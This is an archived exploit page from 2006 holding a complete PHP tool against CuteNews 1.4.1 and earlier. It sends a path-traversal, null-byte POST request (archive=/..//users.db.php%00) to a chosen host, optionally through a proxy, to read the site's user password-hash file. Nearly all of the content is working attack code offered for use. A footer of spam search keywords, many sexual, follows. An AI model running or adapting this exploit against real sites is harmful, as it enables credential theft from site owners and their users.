about advertise contact
Search: Home Vulnerabilities Exploits News Articles RSS Feeds Archive

exploits , vulnerabilities , articles , CuteNews <= 1.4.1 (function.php) Local File Include Exploit



2006-03-26 CuteNews <= 1.4.1 (function.php) Local File Include Exploit
Rated as : High Risk

<?php
// Happy NEW Iranian year .
// Happy Norouz  ( PERSIAN celebration )
// CuteNews 1.4.1 (CutePHP.com) Hash password Finder
// by Hamid Ebadi
// http://hamid.ir
// Bug Discovered and Exploited by Hamid Ebadi .: Hamid Network Security
Team :.
// run it from your browser...
// make these changes in php.ini if you have troubles with this script

//allow_call_time_pass_reference = on
//register_globals = On

error_reporting(0);
echo '<head><title>CuteNews 1.4.1 user Hash password
Finder</title>
      <meta http-equiv="Content-Type"
content="text/html; charset=iso-8859-1">
      <style type="text/css">
      <!--
      body,td,th {color: #000000;}
      body {background-color:EBEBEB #;}
      .Stile5 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 10px; }
      .Stile6 {font-family: Verdana, Arial, Helvetica, sans-serif;
font-size: 12px;
        font-weight: bold;

              }
      -->
      </style></head>
      <body>
<h2>CuteNews 1.4.1 (and Below) user Hash password Finder
</h2>
 <p class="Stile6">Security ? . </p>
 <p class="Stile6">Bug Discovered and Exploited by Hamid
Ebadi  <a href="http://www.hamid.ir"
target="_blank">.: Hamid Network Security Team
:.</a></p>
<p class="Stile5">Happy Norouz  ( PERSIAN new year
celebration ) Greetz to all Iranian Hackers spacially my friends in
ihsteam.com  c0d3r.org  kapda.ir simorgh-ev.com hat-squad.com  blacknews.ws
ashiyane.com websecurity.ir crouz.com shabgard.org hackerz.ir  and
...</p>



<p class="Stile6">read this paper about <a
href="http://www.hamid.ir/security/"
target="_blank">CuteNews 1.4.1  
vulnerability</a></p>
<table width="84%" >
  <tr>
    <td width="43%">
     <form name="form1" method="post"
action="'.$PHP_SELF.'?path=value&host=value&".
"port=value&command=value&proxy=value">
      <p>
       <input type="text" name="host">
      <span class="Stile5">hostname (ex: www.sitename.com)
</span></p>
      <p>
        <input type="text" name="path">
        <span class="Stile5">path (ex:
/cutenews/example2.php ) </span></p>
      <p>
      <input type="text" name="port">
        <span class="Stile5">specify a port other than 80
(default value) </span></p>
      <p>
      <input type="text" name="proxy">
        <span class="Stile5">send exploit through an HTTP
proxy (ip:port) </span></p>
      <p>
      <input type="text" name="command">
        <span class="Stile5">specify a file  other than
/../users.db.php%00 to read  </span></p>
      <p>
          <input type="submit" name="Submit"
value="go!">
      </p>
<p class="Stile5">Spacial THX : rgod at <a
href="http://rgod.altervista.org"
target="_blank">http://rgod.altervista.org</a> for his
great codes (i just change few lines of RGOD old NETQUERY remote commands
execution exploit)</p>
    </form></td>
  </tr>
</table>
</body>
</html>';

function show($headeri)
{
$host=$_POST[host];
$path=$_POST[path];
$port=$_POST[port];
$proxy=$_POST[proxy];
$command=$_POST[command];
$ii=0;
$ji=0;
$ki=0;
$ci=0;
echo '<table border="0"><tr>';
while ($ii <= strlen($headeri)-1)
{
$datai=dechex(ord($headeri[$ii]));
if ($ji==16) {
             $ji=0;
             $ci++;
             echo "<td>  </td>";
             for ($li=0; $li<=15; $li++)
                      { echo
"<td>".$headeri[$li+$ki]."</td>";
       }
            $ki=$ki+16;
            echo "</tr><tr>";
            }
if (strlen($datai)==1) {echo
"<td>0".$datai."</td>";} else
{echo "<td>".$datai."</td> ";}
$ii++;
$ji++;
}
for ($li=1; $li<=(16 - (strlen($headeri) % 16)+1); $li++)
                      { echo "<td>  </td>";
                       }

for ($li=$ci*16; $li<=strlen($headeri); $li++)
                      { echo
"<td>".$headeri[$li]."</td>";
       }

echo "</tr></table>";
}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

if ( ($host<>''))
{
if ($port=='') {$port=80;}
if ($path=='') {$path="example2.php";}

if ($command=='') {$command="/..//users.db.php%00";}
$data="archive=".$command;
if ($proxy=='')
       {$packet="POST ".$path."  HTTP/1.1\r\n";}
else
       {
        $c = preg_match_all($proxy_regex,$proxy,$is_proxy);
        if ($c==0) {
                    echo 'check the proxy...<br>';
             die;
            }
         else
        {$packet="POST http://".$host.$path."
HTTP/1.1\r\n";}
        }

$packet.="Accept: */*\r\n";
$packet.="Referer: http://".$host.$path."\r\n";
$packet.="Accept-Language: it\r\n";
$packet.="Content-Type: application/x-www-form-urlencoded\r\n";
$packet.="Accept-Encoding: gzip, deflate\r\n";
$packet.="User-Agent: Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.1)
Hamid/2006\r\n";
$packet.="Host: ".$host."\r\n";
$packet.="Content-Length: ".strlen($data)."\r\n";
$packet.="Connection: Keep-Alive\r\n";
$packet.="Cache-Control: no-cache\r\n\r\n";
$packet.=$data;

echo '<br> Sending exploit to '.$host.'<br>';

if ($proxy=='')
           {$fp=fsockopen(gethostbyname($host),$port);}
           else
           {$parts=explode(':',$proxy);
     echo 'Connecting to '.$parts[0].':'.$parts[1].' proxy...<br>';
     $fp=fsockopen($parts[0],$parts[1]);
     if (!$fp) { echo 'No response from proxy...';
   die;
         }

     }
echo $packet ;
show($packet);
fputs($fp,$packet);

if ($proxy=='')
{ $data='';
     while (!feof($fp))
     {
      $data.=fgets($fp);
     }
}
else
{
$data='';
   while ((!feof($fp)) or
(!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$data)))
   {
      $data.=fread($fp,1);
   }

}
fclose($fp);
if (eregi('HTTP/1.1 200 OK',$data))
    {echo 'Exploit sent...<br> If CuteNews 1.4.1   is unpatched and
vulnerable  <br>';
     echo 'you will see '.htmlentities($command).' output inside
HTML...<br><br>';
    }
else
    {echo 'Error, see output...';}

//show($data); //debug: show output in a packet dump...
//echo nl2br(htmlentities($data));
echo $data;
}
?> 
securitydot.net - 2006-03-26

Advertising

Copyright 2007, SecurityDot
Wed, 03 Dec 2008 09:04:52 +0000

Friends : milw0rm.com , secunia.com , securityfocus.com
GOOGLE
NEWS EXPLOITS VULNS
exploits , 0day exploits , newest exploits , vulnerabilities , newest vulnerabilities , 0day vulnerabilities , newest articles , linux articles , articles
OpenSSH 3 saming Video porn sex world 200 /compo SEXCARTON. gillianand Puyu muyu agnes moni OpenSSH 3 vedeo+free vipasa 200 /compo Sornamalya WWWBANGBRO www.whomen n.../test. Momson sex www.videos t836t vipasa HTTP+POST sexo con v free mms s sohoadmin Tamil sex Momson sex Www.Indian passoining www.sex18. Atiqa odo Sexcome Adem mesum hjjjjjjjjj sexanimal. Acters sex Tamil sex fre veduo sex viduo Www.sixy p Simran fuc www.18-gri Remote Fil asinboobs. Sex teen b agnes moni sexwild man fuckin CMS is Fre mong tinh